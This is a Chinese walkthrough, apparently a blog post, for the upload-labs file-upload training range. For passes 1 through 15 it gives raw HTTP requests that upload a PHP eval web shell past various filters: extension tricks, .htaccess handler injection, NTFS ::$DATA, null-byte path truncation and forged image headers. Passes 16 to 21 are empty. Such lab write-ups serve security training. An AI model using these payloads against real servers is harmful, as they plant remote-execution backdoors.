【靶场】upload-labs通关攻略

发表于 更新于 阅读次数：

前言

upload-labs通关攻略

Pass-01

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-01/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/x.php建立连接

Pass-02

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-02/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/x.php建立连接

Pass-03

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-03/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.phtml"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/201601021504050000.phtml建立连接

Pass-04

  • 注入``.htaccess`文件
request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-04/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: octet-stream

SetHandler application/x-httpd-php
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-04/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.txt"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/x.txt建立连接

Pass-05

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-05/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.PHP"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/201601021504050000.PHP建立连接

Pass-06

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-06/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php ."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/201601021504050000.PHP建立连接

Pass-07

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-07/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/x.php建立连接

Pass-08

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-08/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php::$DATA"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/201601021504050000.PHP建立连接

Pass-09

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-09/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php. ."
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/x.php建立连接

Pass-10

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-10/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.pphphp"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/x.php建立连接

Pass-11

request
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /Pass-11/index.php?save_path=../upload/x.php%00
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/x.php建立连接

Pass-12

0：这里的0需要将10进制的30改为16进制的00

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /Pass-12/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="save_path"

../upload/x.php0
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/upload/x.php建立连接

Pass-13

GIF

00：将16进制的30 30改为16进制的47 49

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.gif建立连接

JPEG

00：将16进制的30 30改为16进制的FF D8

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpeg"
Content-Type: image/jpeg

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.jpeg建立连接

PNG

00：将16进制的30 30改为16进制的89 50

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-13/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.png建立连接

Pass-14

GIF

0000：将16进制的30 30 30 30改为16进制的47 49 46 38

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

0000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.gif建立连接

JPEG

  • payload部分数据需要转换为16进制数据
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpeg"
Content-Type: image/jpeg

FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.jpeg建立连接

PNG

00000000：将16进制的30 30 30 30 30 30 30 30改为16进制的89 50 4E 47 0D 0A 1A 0A

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-14/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00000000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.png建立连接

Pass-15

GIF

0000：将16进制的30 30 30 30改为16进制的47 49 46 38

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif

0000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.gif建立连接

JPEG

  • payload部分数据需要转换为16进制数据
request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpg"
Content-Type: image/jpeg

FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.jpg建立连接

PNG

00000000：将16进制的30 30 30 30 30 30 30 30改为16进制的89 50 4E 47 0D 0A 1A 0A

request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /Pass-15/index.php
Content-Type: multipart/form-data; 

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png

00000000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • 与/include.php?file=upload/201601021504050000.png建立连接

Pass-16

request
1

Pass-17

request
1

Pass-18

request
1

Pass-19

request
1

Pass-20

request
1

Pass-21

request
1

未完待更

参考文献

CSDN——不会码字的笨蛋奶妈